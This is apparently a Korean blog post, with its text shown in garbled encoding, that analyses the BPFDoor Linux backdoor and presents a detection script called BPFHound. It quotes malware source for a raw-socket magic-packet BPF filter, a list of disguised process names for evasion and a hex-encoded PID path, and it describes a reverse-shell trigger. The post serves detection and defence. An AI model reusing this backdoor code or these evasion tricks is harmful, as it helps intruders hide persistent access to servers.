BPFDoor μ€ν μμ€ μ½λ
https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c
BPFDoor/bpfdoor.c at main · gwillgues/BPFDoor
BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen - gwillgues/BPFDoor
github.com
RAW μμΌ ν΅μ
[461] struct sock_fprog filter;
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 27, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 5, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 23, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 19, 20, 0x00007255 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 17, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 0, 14, 0x00007255 },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 11, 12, 0x00000008 },
{ 0x15, 0, 11, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001a },
{ 0x54, 0, 0, 0x000000f0 },
{ 0x74, 0, 0, 0x00000002 },
{ 0xc, 0, 0, 0x00000000 },
{ 0x7, 0, 0, 0x00000000 },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 0, 1, 0x00005293 },
{ 0x6, 0, 0, 0x0000ffff },
{ 0x6, 0, 0, 0x00000000 },
};
filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
filter.filter = bpf_code;
//
// Build a rawsocket that binds the NIC to receive Ethernet frames
//
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
return;
//
// Set a packet filter
//
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
return;
}
μμΌμ SOCK_RAW μ€μ μ μ€μ μ΄λλ·μ νλ¬κ°λ λͺ¨λ λ€νΈμν¬ ν¨ν· μ 보λ₯Ό Received ν μ μκ² λλλ°, μ΄ λ λͺ¨λ ν¨ν·μ 보면 μλκΈ° λλ¬Έμ filter μ΅μ μ μ§μ ν΄ μΌλΆλ‘ λ§€μ§ λλ² νΈλ¦¬κ±°λ₯Ό μ€μ ν΄λμλ€.
μ°Έκ³ λ‘ μ κ°μ νν° μ΅μ μ tcpdump -dd 'BPF λ¬Έλ²' λͺ λ Ήμ΄λ₯Ό ν΅ν΄ μμ±μ΄ κ°λ₯νλ€.
tcpdump -dd 'ip and udp port 53'
Warning: assuming Ethernet
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 10, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 8, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 6, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 2, 0, 0x00000035 },
{ 0x48, 0, 0, 0x00000010 },
{ 0x15, 0, 1, 0x00000035 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },
BPFDoorλ‘ κ°μΌλ μλ²λ‘ λΆν° λ§€μ§ ν¨ν·μ΄ κ°μ§κ° λλ©΄ 곡격μμ C2C μλ²λ‘ 리λ²μ€ μμ μ°κ²° νμ¬ μ μ΄κ° κ°λ₯νκ² λλ€.
udp[8:2]=0x7255 or (icmp[8:2]=0x7255 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2]=0x5293 or tcp[((tcp[12]&0xf0)>>2)+26:4]=0x39393939
[BPF Fitler Sample]
νλ‘μΈμ€ μ΄λ¦ μμ₯
[842] char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
[ . . . ]
[881] strcpy(cfg.mask, self[rand()%10]);
[ . . . ]
[887] set_proc_name(argc, argv, cfg.mask);
λ°±λμ΄ νλ‘μΈμ€μ μ΄λ¦μ "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", "/usr/sbin/console-kit-daemon --no-daemon"μ κ°μ μΌλ°μ μΈ νλ‘μΈμ€λ‘ μμ₯μ ν΄ νμ§κ° μ΄λ ΅κ² νλ€.
μ€μ ps λͺ λ Ήμ΄λ‘ νλ‘μΈμ€ λͺ μ νμΈ νλ©΄ μλμ κ°μ΄ νλ‘μΈμ€ λͺ μ΄ λ°λ κ²μ λ³Ό μ μλ€.
root 98983 16420 0 09:21 ? 00:00:00 /sbin/auditd -n
μ€λ³΅ μ€ν λ°©μ§
[855] pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
if (access(pid_path, R_OK) == 0) {
exit(0);
}
μ€λ³΅ μ€ν λ°©μ§λ₯Ό μν΄μ /var/run/haldrund.pid νμΌμ΄ μ‘΄μ¬νλ©΄ νλ‘κ·Έλ¨μ΄ λ°λ‘ μ’ λ£λλ€.
[894] close(open(pid_path, O_CREAT|O_WRONLY, 0644));
λ§μ½ νμΌμ΄ μμ΄ μμ 쑰건μ λΆν©νμ§ μμ κ²½μ°(μ¦ μ΅μ΄ μ€νμΌ κ²½μ°μ) /var/run/haldrund.pid νμΌμ λ§λ€μ΄ μ€λ€.
[232] static void terminate(void)
{
if (getpid() == godpid)
remove_pid(pid_path);
_exit(EXIT_SUCCESS);
}
static void on_terminate(int signo)
{
terminate();
}
static void init_signal(void)
{
atexit(terminate);
signal(SIGTERM, on_terminate);
return;
}
init_signalμ μ€μ ν΄μ SIGTERM(kill -15)μΌ κ²½μ° remove_pid ν¨μλ₯Ό ν΅ν΄ /var/run/haldrund.pid νμΌμ μ§μ΄λ€.
BPFDoor μ§λ¨ μ€ν¬λ¦½νΈ μ μ(BPFHound)
μμ μ μ± μ½λ μλ λ°©μμ μ°Έκ³ ν΄μ λ§λ μ κ² μ€ν¬λ¦½νΈ
https://github.com/devjanger/BPFHound
GitHub - devjanger/BPFHound: BPFDoor Detection Tool
BPFDoor Detection Tool. Contribute to devjanger/BPFHound development by creating an account on GitHub.
github.com
μ§λ¨ κ³Όμ
(1) RAW μμΌ νλ‘μΈμ€ κ²μ¬
μμ€ν λ΄μ RAW μμΌ(BPF)μ μ¬μ©νλ νλ‘μΈμ€λ₯Ό κ²μΆνλ κ³Όμ μ λλ€. μ΄ κ³Όμ μ μμ¬λλ νλ‘μΈμ€μ PID, μ€ν κΈ°λ‘μ΄ νμλ©λλ€.
(2) λ°μ΄λ리 νμΌ μΆμ
“(1) RAW μμΌ νλ‘μΈμ€ κ²μ¬“μμ λμ¨ PIDμ λ°μ΄λ리 νμΌμ ν΄μλ₯Ό μΆμΆνμ¬ μμ€ν λ΄μ μ¨κ²¨μ Έ μλ λ°μ΄λ리 νμΌμ μΆμ ν©λλ€. λ°κ²¬ μ νμΌμ κ²½λ‘κ° μΆλ ₯λ©λλ€.
(3) PID νμΌ νμ§
BPFDoorκ° κ°μΌ νμ μΌλ‘ λ¨κΈ°λ νΉμ΄ν PID νμΌλ€μ νμ§ν©λλ€. μ‘΄μ¬νλ©΄ ν΄λΉ νμΌ κ²½λ‘λ₯Ό νμνμ¬ λ°±λμ΄κ° μ€νλ νμ μ νμΈν μ μμ΅λλ€.
(4) λ³΄κ³ μ νμΌ μΆλ ₯
ν΄λΉ μ€ν κ²½λ‘μ μ§λ¨ μλ£ μκ° κΈ°μ€μ ν μ€νΈ λ³΄κ³ μ νμΌμ΄ μμ±λ©λλ€.
μ) report_bpfdoor_suspect_processes_YYYYMMDD_HHMMSS.txt
μ°Έκ³
https://www.ahnlab.com/ko/contents/content-center/35830
BPFDoor μ μ±μ½λ λΆμ λ° μλ© λμ νν©
2025λ 4μ, κ΅λ΄μμ λ°μν μ΄λν ν΄νΉ μ¬κ³ λ μ¬μ΄λ² μνμ΄ νμΈ΅ μ κ΅ν΄μ§κ³ μλ°ν΄μ‘μμ 보μ¬μ£Όκ³ μμ΅λλ€. 곡격μ μ¬μ©λ κ²μΌλ‘ νμ λ BPFDoor 곡격 λ°©μμ λν΄ νμΈν΄ 보μΈμ.
www.ahnlab.com
https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
BPFDoor - An Evasive Linux Backdoor Technical Analysis
BPFDoor is an stealthy Linux backdoor operating for years undetected. We disclose full technical details and detection techniques here.
sandflysecurity.com
Detecting BPFDoor Backdoor Variants Abusing BPF Filters
An analysis of advanced persistent threat (APT) group Red Menshen’s different variants of backdoor BPFDoor as it evolves since it was first documented in 2021.
www.trendmicro.com